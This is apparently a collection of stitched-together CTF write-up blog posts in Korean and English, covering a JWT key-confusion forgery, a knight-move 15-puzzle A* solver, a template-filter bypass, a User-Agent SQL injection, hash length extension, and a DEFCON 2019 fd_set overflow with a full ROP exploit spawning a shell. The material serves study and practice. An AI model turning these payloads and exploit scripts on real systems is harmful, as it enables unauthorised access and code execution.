echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이때 나온 HMAC 시그니쳐는 아래와 같다.

Output is HMAC signiture.

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

이 시그니쳐 값을 한줄의 파이썬 코드로 ASCII hex 값으로 바꾼다.

You can transform this signiture to ASCII hex with one line python code

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

그 결과는 아래와 같다.

Result is here.

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

이를 이용한 최종 JWT 값은 다음과 같다.

Final valid jwt is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

실제로 사용한 JWT 값은 다음과 같다.

The JWT used to exploit is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

 

Lastest version pyJWT seems to be patched about the vulnerability.

최신 버전의 pyJWT에는 통하지 않는 듯 하다.

flag{1n53cur3_tok3n5_5474212}

Intro

대회가 진행중일때는 솔버수가 너무 낮아서 문제를 확인하지도 않았는데, 대회가 끝나고 나서 한번 풀어봤습니다.

I didn't even checked this problem during the contest due to too lower number of solvers.

After CTF finished, I just tried and solve this challenge.

 

15 puzzle은 일반적인 탐색 문제입니다. CTF와 같은 해킹 대회에서는 생소할 수 있지만, PS나 CP를 하는 사람들에게는 어느정도 풀어 볼 수 있는 기회가 있는 문제입니다. 학부때 인공지능 수업에서 일반적인 15 puzzle을 A* 알고리즘으로 풀어본적이 있었습니다. 그래서 이번 문제도 약간 변형되어 있긴 하지만, A* 알고리즘으로 풀 수 있을거라고 생각했습니다. 여기 나오는 15 puzzle은 인접한 칸과 바꾸는 것이 아닌, 체스의 나이트가 움직이는 범위의 칸과 바꿀 수 있다는 차이점이 있습니다.

15 puzzle is basic searching algorithm problem. It seems unfamiliar in security challenge like CTFs, for the people who are engaged in Problem solving or Competitive Programming area it could be familiar problem. I've seen this problem in artificial intelligence course in my university bachelor degree period. This problem can be solved with A* search algorithm. This is a little transformed version of 15 puzzle, but it is still solvable with A-star search algorithm.

The 15 puzzle have difference in movable range while classical 15 puzzle moves with adjacent 4 direction, this 15 puzzle moves like chess's knight.

 

Modeled to Graph Search Problem(그래프 탐색 문제로 모델링)

이 15 퍼즐문제는 그래프 탐색 문제로 모델링 될 수 있습니다. 모든 그래프 정점은 퍼즐의 상태를 타나내며, 처음 루트 노드는 15퍼즐의 입력 값에 따른 상태를 나타냅니다. 모든 노드들은 다른 노드로 간선이 연결되어 있으며, 만약 두개의 노드가 연결되어 있다면 한번의 움직임으로 해당 상태로 전환될 수 있다는 것을 뜻합니다.

아래 예시 그림에서는 루트 노드는 goal 상태를 나타냅니다. 루트 노드의 상태는 2개의 퍼즐 움직임이 가능한데, 이는 엣지로 연결된 자식 노드를 나타냅니다.

 

This 15 puzzle problem is a kind of graph search problem. This problem can be modeled to graph search.

Every graph node indicates the state of puzzle. Initial root node indicates input state of 15 puzzle. Every node has edge to other node. If two node is connected, it indicates that two node is both transformable with single move.

In this example diagram, the root node indicates the goal state. The root state 2 possible move, it is indicates as child node with edge.

이 탐색 문제를 풀기 위해서 우리는, BFS나 DFS같은 전통적인 탐색 알고리즘을 사용할 수 있습니다.

하지만 DFS는 최적화를 보장하지 않고, 따라서 시간이 너무 많이 걸릴 수 있습니다.

BFS 알고리즘은 최적회를 보장하지만 문제를 풀기에는 조금 느릴 수 있습니다.

To solve this search problem, we can use traditional search algorithm like BFS or DFS.

But DFS algorithm doesn't guarantee the optimal solution, so it could consume too much time.

BFS algorithm guarantee the optimal solution but it can be little bit slow to solve the problem.

A-star search algorithm

A* search algorithm can enhance search speed by prioritizing the node have more probability to reach the solution.

A* search algorithm seems very difficult, but there is nothring special than BFS(Breadth-First Search) graph searching algorithm.

In implementation level, there is one difference, while BFS uses simple queue, but A* uses priority queue.

 

Priority of node can be determined by heuristic function which is the core concept of A* algorithm.

You can use many kind of heuristic function to make this algorithm works, just not over estimating the node than real value.

 

Simple and naive heuristic function is the number of matched puzzle. I used this h-function, and I implemented this heuristic function as name hfunc.

 

Deciding unsolvable case

I refer the geeksforgeeks document to deciding the unsolvable case. In normal 15 puzzle case, unsolvable case can be detected with number of inversions. When puzzle moves, the number of inversion state alters.

Applying this rules to this type of problem, every puzzle moves, the number of inversion changes with odd number.

In goal state, number of inversions is 0(even number). From the goal state with one move, number of inversion is odd number. When number of inversion is odd number, with one move it alters to even number. The number of inversion's 2 modulo value is negated with every move.

 

 

 

solver.cpp

#include <bits/stdc++.h>
using namespace std;
typedef pair<int, int> pii;
typedef pair<int, vector<int> > State;
const int correct[4][4] = {
	{0, 1, 2, 3},
	{4, 5, 6, 7},
	{8, 9, 10, 11},
	{12, 13, 14, 15}
};
int puz[4][4];
int hfunc(int puz[][4]) {
	int ret = 0;
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			ret += (correct[i][j] == puz[i][j] ? 1 : 0);
		}
	}
	return ret;
}
vector<pii> movable;
void dump(vector<int>& arr) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			printf("%3d ", arr[i * 4 + j]);
		}
		puts("");
	}
	puts("======================================");
}
void vec2arr(vector<int>& vec, int puz[][4]) {
	for (int i = 0; i < 16; i++) {
		int& v = vec[i];
		puz[i / 4][i % 4] = v;
	}
}
void arr2vec(int puz[][4], vector<int>& vec) {
	vec.resize(16, 0);
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			vec[i * 4 + j] = puz[i][j];
		}
	}
}
void input() {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			scanf("%d", &puz[i][j]);
		}
	}
}
pii findzero(int puz[][4]) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			if (puz[i][j] == 0) return make_pair(i, j);
		}
	}
	assert(false);
	return make_pair(-1, -1);
}
bool isin(int x, int y) {
	return x >= 0 && y >= 0 && x < 4 && y < 4;
}
char dir[8][3] = {
	{-1, -2, 'q'},
	{-2, -1, 'w'},
	{-2, +1, 'e'},
	{-1, +2, 'r'},
	{+1, -2, 'a'},
	{+2, -1, 's'},
	{+2, +1, 'd'},
	{+1, +2, 'f'}
};
void unsolvable() {
	puts("unsolvable");
	exit(EXIT_SUCCESS);
}
int main() {
	input();
	State state;
	state.first = hfunc(puz);
	arr2vec(puz, state.second);
	pii zero = findzero(puz);
	int inv = 0;
	for (int i = 0; i < 16; i++) {
		for (int j = i + 1; j < 16; j++) {
			int a = state.second[i];
			int b = state.second[j];
			if (a > b) inv++;
		}
	}
	

	int id = ((zero.first + zero.second) & 1);
	if ((inv & 1) != id) {
		unsolvable();
	}
	
	map<vector<int>, State> visited;
	priority_queue<State> pq;
	visited[state.second] = make_pair(-1, vector<int>()); //initial state!
	pq.push(state);
	while (pq.size()) {
		State cur = pq.top(); pq.pop();
		if (cur.first == 16) {
			// puts("GOTCHA!");
			State p = cur;
			vector<char> move;
			while (p.second.size()) {
				if (visited[p.second].first != -1) {
					move.push_back(dir[visited[p.second].first][2]);
				}
				//To dump intermediate puzzle state
				//dump(p.second);
				p = visited[p.second];
			}
			while (move.size()) {
				putchar(move.back());
				puts("");
				move.pop_back();
			}
			return 0;
		}
		vec2arr(cur.second, puz); //puz <- 기존
		pii zero = findzero(puz);
		for (int k = 0; k < 8; k++) {
			int nx = dir[k][0] + zero.first;
			int ny = dir[k][1] + zero.second;
			if (isin(nx, ny)) {
				swap(puz[zero.first][zero.second], puz[nx][ny]); //위치 바꿈
				State next;
				next.first = hfunc(puz);
				arr2vec(puz, next.second);
				if (visited.find(next.second) == visited.end()) { //중복이 아닌 경우
					visited[next.second] = make_pair(k, cur.second); //마지막 움직임 형태와, 기존 형태를 저장함
					pq.push(next);
				}
				swap(puz[zero.first][zero.second], puz[nx][ny]); //원복 시킴
			}
		}
	}
	return 0;
}

do.py

#!/usr/bin/env python3

from pwn import *
import os

p = remote('puzzle.ctf.defenit.kr', 1515)

p.recvuntil("y/n)\n")
p.sendline("y")

def solve():
    global p
    
    with open("in.txt", "w") as f:
        for i in range(0, 4):
            f.write(p.recvuntil("\n").decode('utf-8'))
    os.system("./solver < in.txt > out.txt")
    with open("out.txt", "r") as f:
        p.send(f.read())
    resp = p.recvuntil("\n")[:-1].decode('utf-8')
    if "Solved" not in resp:
        return False
    else:
        return True
for i in range(0, 100):
    solve()
p.interactive()
p.close()

Got the flag!

 

Reference

https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/

https://gist.github.com/Einstrasse/d9b2503d068ae2a8937d15e985f02c3f

The challenge provides server js code. It uses nodejs.

if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
	res.end('Request blocked');
	return;
}

It use hbs as template engine. If I submit the syntax {{apple}}, it returns 'mint'.

 

With similar step, I we can submit the syntax {{FLAG}}, it will return the flag.

But the middleware of express engine filter the "FLAG" keyword with string type.

Then we can submit with array type.

With burp suite, use paramter key content[] instead of contet.

With chrome dev tools, replace the name content to content[]

In addition, this solution is unintended solution.

사이트에 들어가보면 다음과 같이 나타난다.

소스코드 보는 부분이 있으니 소스코드를 한번 보자.

보면 select 쿼리에서 agent로 검색을 하는데, HTTP_USER_AGENT 값을 이용해서 SQL 쿼리를 짠다.

 

UserAgent 값을 이용해서 SQLi를 하면 될 것 같다.

 

user agent에 대충 위와 같은 값을 넣어주면, 쿼리는 아래와 같이 나타날 것이다.

insert into chall8(agent,ip,id) values('einstrasse','dummyip','admin'),('asdf','{$ip}','guest')

그러면 2개의 값이 추가가 되게 된다.

2개가 동시에 추가가 된 듯 하다.

그리고 아까 추가한 user-agent값인 einstrasse라고 user-agent를 보내보자.

오른쪽을 보면 already solved라고 뜬다.

clear!

CTF에서 크립토계열 문제들을 보면 이따금씩 등장하는 공격기법이다.

 

딱히 어려운 공격법은 아니니 곧바로 예시를 들면서 설명을 들어가자.

 

HMAC(Hash-based Message Authentication Code)

HMAC이 뭐냐면 Hash 기반의 MAC이다. 여기서 MAC은 Message Authentication Code인데, 일종의 전자서명이라고 보면 된다.

만약 A라는 사람이 B에게 "마트에서 계란 5개 사와"라는 메시지를 보낸다고 치자. 그런데 이 메시지가 B에게 도착했는데, A가 보낸게 맞고 다른 공격자가 임의로 변조시킨 메시지가 아니라는것을 알고 싶다고 하자.

 

이때 쓰이는 것이 MAC이다. A와 B가 공통적으로 공유하는 키 값이 있다고 하고, 공격자는 이 키를 모른다고 하자.

그러면 A는 메시지를 보내면서 key 값 뒤에 메시지를 붙인 뒤 해쉬를 취한 값으로 서명값을 만든다.

다음과 같은 모양이 나오게 된다.

signature = sha256( key + message )

 

만약 공유하는 비밀 키의 내용이 "CarpeDiem"이라고 하자.

그러면 서명값은 sha256("CarpeDiem마트에서 계란 5개 사와") 의 값이되게 된다.

 

그리고 이 서명값을 메시지와 같이 보낸다고 하자.

 

그러면 B는 메시지와 서명값을 받고, 본인이 가지고 있는 키를 기반으로 서명값을 만들었을때 이 서명값이 전달된 서명값과 일치하면 이 메시지는 A가 만든것이 맞다는 것을 알 수 있다.

 

공격자는 A와 B가 공유하고 있는 키 값을 알 수 없으므로 정당한 서명값을 만들 수 없다.

 

Hash Length extension attack

이러한 HMAC을 쓰는 경우 특정 조건이 맞으면 이 해쉬 길이 확장공격을 사용할 수 있다.

이 공격으로 공유되는 비밀 키 값은 알수가 없지만, 어떤 메시지와 서명값의 쌍을 안다면 메시지 뒤에 다른 문자열이 추가된 메시지와 그에 맞는 정당한 서명값을 만들 수 있다.

 

사전 조건

공격을 하기 위해 필요한 조건들은 몇 가지 정보들이다. 다음 내용들을 알면 공격이 가능하다.

1. 키의 길이

2. message의 내용

3. message에 대한 정당한 서명값

4. 해시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2)

 

만약 아까 이야기한 예시를 계속해서 들면 키의 길이가 CarpeDiem인 것은 모르더라도 9글자인 것을 알고, "마트에서 계란 5개 사와"가 메시지인 것을 알고, 이 메시지에 대한 서명 값이 0xdeadbeef라는 것을 안다고 가정하자.

 

그러면 이 정보를 바탕으로 공격자는 뒤에 공격자가 원하는 메시지가 추가된 메시지와 서명값을 만들어낼 수 있다.

가령 공격자가 "그리고 고기도 2kg 사와"라는 메시지를 뒤에 추가하려고 한다고 하자.

 

그러면 이 공격을 통해서 공격자는 "마트에서 계란 5개 사와 그리고 고기도 2kg 사와"라는 메시지에 대한 정당한 서명값을 알아낼 수 있다.

 

실제로는 기존 문장과 추가 된 문장 사이에 Null byte 값들이 여러개 추가될 수 있다.

 

공격 예시

여기서 설명하는 내용은 위키 백과와 같은 예시이다.

원래 데이터가 아래와 같다고 하자

Original Data: count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo

Original Signature: 6d5f807e23db210bc254a28be2d6759a0f5f5d99

 

여기에 공격자는 마지막에 파라메터를 추가하고자 한다.

Desired New Data: count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo&waffle=liege

 

그러면 공격이 이루어진 데이터는 다음과 같은 형태를 띄게 된다.

New Data: count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x02\x28&waffle=liege

New Signature: 0e41270260895979317fff3898ab85668953aaa2

 

사이에 Null byte들이 많이 들어가게 되는데, 저 Null byte로 해시함수를 계산할때 내부 구조를 적절히 바꾸어서 하는 방식이라고 한다.

 

방어법

이 취약점은 Merkle–Damgård construction를 갖는 해쉬함수를 MAC에 오용해서 나타나는 취약점이라고 한다. 이 구조의 해시함수는 충돌이 잘 일어나지 않는 것그러므로 해당 구조에 해당하지 않는 해쉬함수(SHA-3)를 사용하면 된다.

 

 

공격용 툴들

이 Hash length extension attack을 직접 구현해서 써먹기에는 어려우므로 공개된 라이브러리들을 쓰면 좋다. HashPump는 커맨드라인에서 실행할 수 있는 형태의 툴이며, hlextend는 파이썬에서 사용할 수 있는 라이브러리 형태로 제공된다.

 


https://github.com/apoirrier/CTFs-writeups/blob/master/TAMUCTF2020/Crypto/Eternal%20Game.md

https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction

https://github.com/bwall/HashPump

https://en.wikipedia.org/wiki/Length_extension_attack

https://github.com/stephenbradshaw/hlextend

'해킹 & 보안 > 암호학(Crypto)' 카테고리의 다른 글

인코딩과 암호화 용어정리  (0) 2020.02.13

2020년 DEFCON ctf 대비 스터디를 하면서 2019년 qualification round 문제들을 리뷰하기로 했다.

관련 리소스들은 o-o-overflow github에 공개되어 있다.

 

이번에 리뷰할 문제는 shittorrent라는 문제이다. 구글링을 좀 하다 보니, github에 exploit코드가 공개된게 있기는 했다만, write-up은 따로 없어서 이번에 공부하면서 정리해보고자 한다.

익스코드는 Ruby로 작성되어있었다. 신기하게도 pwntools가 ruby 버전으로도 있었다. 파이썬 버전만 있는 줄 알았는데..

 

문제 개요

실제 대회때 당시에는 소스코드가 공개되어있었는지는 모르겠는데, o-o-overflow에 공개된 리소스에는 소스코드가 제공되어있다.

코드가 단일 파일 치고는 다소 기므로, 접은글로 표현해놓았다.

 

더보기
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <vector>
#include <arpa/inet.h>
#include <algorithm>

/* globals */
fd_set *rfds;
int lastfd;
std::vector<int> listeners;
std::vector<int> admins;

int vhasele(std::vector<int> v, int ele) {
	if(std::find(v.begin(), v.end(), ele) != v.end()) {
		return 1; // has it
	} else {
		return 0; // doesn't have it
	}
}

void vremove(std::vector<int> v, int ele) {
	v.erase(std::remove(v.begin(), v.end(), ele), v.end());
}

void setfdlimit() {
	struct rlimit fdlimit;
	long limit;
	limit = 65536;
	fdlimit.rlim_cur = limit;
	fdlimit.rlim_max = limit;
	setrlimit(RLIMIT_NOFILE, &fdlimit);
	FD_ZERO(rfds);
}

void nobuf() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}

void intro() {
	puts("simple hybrid infrastructure torrent");
	puts("enable simple distribution of files among your fleet of machines");
	puts("used by it department the world over");
}

void printmenu() {
	puts("《SHITorrent 》management console");
	puts("[a]dd pc to manage");
	puts("[r]emove pc from fleet");
	puts("[w]ork");
	puts("[q]uit");
	puts("[g]et flag");
}

int add_node() {
	char hostname[100] = {0};
	char portstr[100] = {0};
	int port = 0;
	puts("enter host");
	read(0, hostname, 99);
	if(hostname[strlen(hostname) - 1] == '\n') {
		hostname[strlen(hostname) - 1] = '\x00';
	}
	puts("enter port");
	read(0, portstr, 99);
	port = atoi(portstr);

	struct sockaddr_in address;
	int sock = 0, valread;
	struct sockaddr_in serv_addr;
	char *hello = "SHITorrent HELO\n";
	char buffer[1024] = {0};
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		printf("\n Socket creation error \n");
		return -1;
	}

	memset(&serv_addr, '0', sizeof(serv_addr));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(port);

	// Convert IPv4 and IPv6 addresses from text to binary form
	if(inet_pton(AF_INET, hostname, &serv_addr.sin_addr)<=0) {
		printf("\nInvalid address/ Address not supported \n");
		return -1;
	}

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
		printf("\nConnection Failed \n");
		return -1;
	}
	send(sock , hello , strlen(hello) , 0 );
	valread = read( sock , buffer, 1024);
	if (strncmp("TORADMIN", buffer, strlen("TORADMIN"))) {
		listeners.push_back(sock);
		printf("added listener node %d\n", sock);
	} else {
		admins.push_back(sock);
		FD_SET(sock, rfds);
		printf("added sending node %d\n", sock);
	}
	if (sock > lastfd) {
		lastfd = sock;
	}
	return 0;
}

void remove_node() {
	char buf[256];
	read(0, buf, 255);
	int bufno = atoi(buf);
	if (bufno > 2 && bufno <= lastfd) {
		close(bufno);
	}
	if (vhasele(listeners, bufno)) {
		vremove(listeners, bufno);
	}
	if (vhasele(admins, bufno)) {
		vremove(admins, bufno);
		if (FD_ISSET(bufno, rfds)) {
			FD_CLR(bufno, rfds);
		}
	}
}

void dispatch_it(int fd) {
	printf("dispatching from %d\n", fd);
	char *buf = (char *)calloc(1, 4096);
	int sz = read(fd, buf, 4096);
	printf("getting %s\n", buf);
	for (int i = 0; i < listeners.size(); i++) {
		write(listeners[i], buf, sz);
	}
	free(buf);
}

void workit() {
	struct timeval tv;
	tv.tv_sec = 5;
	tv.tv_usec = 0;

	int retval = select(FD_SETSIZE, rfds, NULL, NULL, &tv);
	// Don't rely on the value of tv now!

	if (retval) {
		puts("DEBUG: ready to send out the data");
		// FD_ISSET(0, &rfds) will be true.
		for (int i = 3; i < lastfd; i++) {
			if (FD_ISSET(i, rfds)) {
				dispatch_it(i);
				return;
			}
		}
	} else {
		printf("no data within 5 seconds quitting");
		exit(0);
	}
}

void notmain() {
	for(;;) {
		char buf[2];
		printmenu();
		read(0, buf, 2);
		switch(buf[0]) {
			case 'a':
				{
					add_node();
				}
				break;
			case 'r':
				{
					remove_node();
				}
				break;
			case 'w':
				{
					workit();
				}
				break;
			case 'q':
				{
					return;
				}
				break;
			case 'g':
				{
					puts("lol, just kidding");
				}
				break;
			default:
				{
					puts("not supported");
				}
				break;
		}
	}
}

int main(int argc, char **argv) {
	fd_set fds;
	rfds = &fds;
	lastfd = 2;
	setfdlimit();
	nobuf();
	intro();
	notmain();
	return 0;
}

 

C++로 작성된 서버코드이다. 클라이언트 입장에서는 ip와 port를 넘겨준 뒤, 서버에서 접속을 시도하면 적절한 값을 리턴해서 admin모드이거나 일반 user 모드로 등록이 가능하다.

 

미티게이션

checksec으로 확인해보면 아래와 같이 나타난다.

 

NX가 활성화 되어 있고, 스택 까나리가 적용되어 있다.

 

취약점

소스코드를 보면 잘 모르는 자료구조와, 매크로 함수가 보이는데 fd_set, FD_SET, FD_ZERO, FD_ISSET, FD_CLR 이런 녀석들이다.

 

여기서 FD는 File descriptor의 약자라고 한다. 이 함수들과 자료구조는 여러개의 소캣들을 열어서 connection을 맺어 놓은 상태에서 관리하기 위해 존재한다고 한다.

 

소캣 fd를 bitmap 자료구조로 관리하는 거라고 한다. 만약 3번 소캣을 사용중이면 FD_SET(fd_set, 3) 이런식으로 해서 3번 비트를 1로 만들고, FD_CLR(fd_set, 3)이런 식으로해서 3번 비트를 0으로 되돌리는 방식으로 소캣들의 사용 유무를 관리할 수 있다고 한다.

 

그래서 총 1024개의 소캣들을 관리할 수 있는데, 즉 fd_set의 자료구조는 1024bit의 크기를 갖는다.

 

리눅스 시스템에서 man fd_set 명령어로 관련 매뉴얼을 읽어볼 수 있다.

 

매뉴얼에서 Notes를 보면, 다음과 같은 구문들이 있다.


An fd_set is a fixed size buffer. Executing FD_CLR() or FD_SET() with a value of fd that is negative or is equal to or larger than FD_SETSIZE will result in undefined behavior. Moreover, POSIX requires fd to be a valid file descriptor.


fd_set는 고정 크기의 버퍼이므로, FD_SETSIZE를 넘는 값으로 FD_SET, FD_CLR 등을 호출하는 것은 Undefined behaivro이다. 라고 써있다.  바로 여기서 취약점이 나타난다.

 

FD_SETSIZE는 일반적으로 1024이며, 주어진 바이너리에서도 1024이다.

 

fd_set 자료구조를 보면 main context의 지역변수로 들어가게 되고, FD_CLR, FD_SET의 함수는 소캣 연결의 제한이 별도로 있지는 않다. (2^16이 제한인 듯 하다)

 

이를 이용해서 buffer overflow가 나타나게 된다.

 

mitigation들을 체크해보면 nx도 걸려있으므로, ROP chain을 구성해서 exploit을 하면 될 듯 하다.

 

익스플로잇

일단 익스플로잇을 하기 위해서는 서버단에서 접속이 가능한 ip와 port로 적절한 서비스를 열고 있어야 간편하다. 

 

서비스 등록

서비스를 등록하기 위해서 간단한 프로그램을 작성해서 컴파일을 하였다.

#include <stdio.h>
int main(int argc, char *argv[]) {
  char s[100];
  read(0, s, 16);
  if(strstr(argv[0], "lis") != NULL)
    write(1, "meow", 4);
  else
    write(1, "TORADMIN", 8);
  return 0;
}

하나는 파일명을 lis로 해서 meow를 리턴하는 normal user용 node로 두고, 남은 하나는 파일명을 peer로 해서 TORADMIN을 리턴하는 admin user용 node로 만들어 두겠다.

 

서비스 등록은 xinetd를 설치해서 설정하면 되겠다.

 

/etc/xinetd.d/defcon1 파일과 /etc/xinetd.d/defcon2 파일에 아래와 같이 각각 설정을 해준다.

 

/etc/xinetd.d/defcon1

/etc/xinetd.d/defcon2

 

그리고 아래 명령어를 실행해서 /etc/services 의 마지막 줄에 항목을 추가해준다.

xinetd 서비스를 재시작해주면 반영이 된다.

 

이제 nc 127.0.0.1 10001 나 nc 127.0.0.1 10002 명령어를 실행해서 잘 동작하는지 확인할 수 있다.

 

스택 카나리 우회

바이너리에 스택 카나리가 있긴 하지만 일반 유저로 node를 추가하면 fd만 값이 증가하고, fd_set은 건드리지 않게 되므로, 스택 카나리가 있는 부분을 뛰어넘고 return address를 overwrite가 가능하다.

 

ulimit 설정

로컬에서 실행을 하는데, 바이너리에 ulimit을 설정하는 부분이 있긴 하지만, 한번씩 동작을 하지 않는 것 같으므로 수동으로 커맨드라인에서 설정해줄 필요가 있다.

그리고 이 설정값은 터미널 마다 다르게 되므로 만약 새 터미널에서 서버 바이너리를 실행하게 된다면 다시 설정해주어야 한다.

 

$ ulimit -a

명령어로 최대 열 수 있는 파일 크기를 확인할 수 있다.

$ ulimit -n 60000

와 같은 명령어로 적당히 큰 수로 열 수 있는 파일 개수를 늘려준다.

 

오프셋 계산

바이너리를 disassemble 해 보면, main context는 위와 같다. 401743을 보면 rbp-0x90에 rfds 주소값이 있는 것을 알 수 있다. 그리고 401774를 보면 카나리는 rbp-0x8에 있다.

따라서 아래와 같은 스택프레임이 구성이 된다는 것을 알 수 있다.

 

그러면 ret addr 직전까지는 normal user node로 dummy값 fd를 증가시키고, 그 이후에는 fd_set을 이용해서 return address부터 값을 변조할 수 있게 된다.

이후 rop chain을 구성해서 exploit을 하면 된다.

 

로컬 익스플로잇시 sleep

로컬 서비스를 너무 빠르게 요청을 주면 xinetd 서비스에서 간혹 Connection Refused를 주는 경우가 있다. 이를 방지하기 위해서 0.04초 정도는 sleep을 해 주는 것이 좋다. 이것 때문에 익스플로잇의 실행 시간이 좀 더 들긴 하는데, 어쩔수없다.

 

 

익스플로잇 코드

Full exploit 코드이다. python3 + pwntools로 작성해보았다.

 

#!/usr/bin/env python3

from pwn import *
import time, sys

NORMAL_SERVICE_PORT = 10001
ADMIN_SERVICE_PORT = 10002
REST_QUANT=0.04

p = process('./shitorrent')


def add_node(host, port):
    global p
    msg = p.recvuntil('rrent')
    if b"Failed" in msg or b"not" in msg:
        print ("Failed....{}".format(msg))
        p.close()
        sys.exit()
    p.recvuntil('et flag')
    p.sendline('a')
    p.recvuntil('enter host')
    p.send(host.ljust(99, "\x00"))
    p.recvuntil('enter port')
    p.send(str(port).ljust(9, "\x00"))

def add_normal():
    add_node("127.0.0.1", NORMAL_SERVICE_PORT)
def add_admin():
    add_node("127.0.0.1", ADMIN_SERVICE_PORT)

def remove_node(fd):
    # print ("remove_node({})".format(fd))
    global p
    p.recvuntil('et flag')
    p.sendline('r')
    p.send(str(fd).ljust(255, "\x00"))

fd = 1216
rop = [
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e0, # @ .data
  0x00000000004657fc, # pop rax ; ret
  u64(b'/bin//sh'),
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000460b90, # xor rax, rax ; ret
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000400706, # pop rdi ; ret
  0x00000000006da0e0, # @ .data
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000465855, # pop rdx ; ret
  0x00000000006da0e8, # @ .data + 8
  0x00000000004657fc, # pop rax ; ret
  0x3b,
  0x0000000000490ec5, # syscall
  0xdeaddeadbeef
]


print ("start attach padding")
for i in range(3, 1216):
    if i % 101 == 100:
        print ("padding progress .... [{}/{}]".format(i, 1216))
    sleep(REST_QUANT)
    # print ("add normal {}".format(i))
    add_normal()

print("start to fill")
for i in range(0, 64 * len(rop)):
    if i % 101 == 100:
        print ("Fill bit progress .... [{}/{}]".format(i, 64*len(rop)))
    sleep(REST_QUANT)
    # print ("add admin {}".format(i))
    add_admin()

print ("Filling finished!")
print (p.recvuntil("et flag"))
p.sendline("g")
print (p.recvuntil("kidding"))
#input("#")
print("removing...")
for i, word in enumerate(rop):
    binary = bin(word)[2:].rjust(64, '0')[::-1]
    print (hex(word) + ": " + binary)
    print ("Removing.... [{}/{}]".format(i, len(rop)))
    for bit in binary:
        if bit == '0':
            sleep(REST_QUANT)
            remove_node(fd)
        fd=fd+1
    #input('#')

p.recvuntil('et flag')
p.sendline('q')
print("Execute shell!")
p.interactive()
p.close()

 

자료와 코드들은 깃헙에도 두었으므로 필요시 참고하면 괜찮을것 같다.

-----------------------------------------------------------------------------------------------

https://github.com/Einstrasse/ctf-practice/tree/master/2019-defcon-qual/shitorrent

https://linux.die.net/man/3/fd_set

https://blog.naver.com/tipsware/220810795410

https://github.com/o-o-overflow/dc2019q-shitorrent

https://github.com/david942j/ctf-writeups/blob/master/defcon-quals-2019/shitorrent/shitorrent.rb

 

English write-up

 

UI seems like below.

If you click the 'the source' link, you can get back-end source code.

 

 

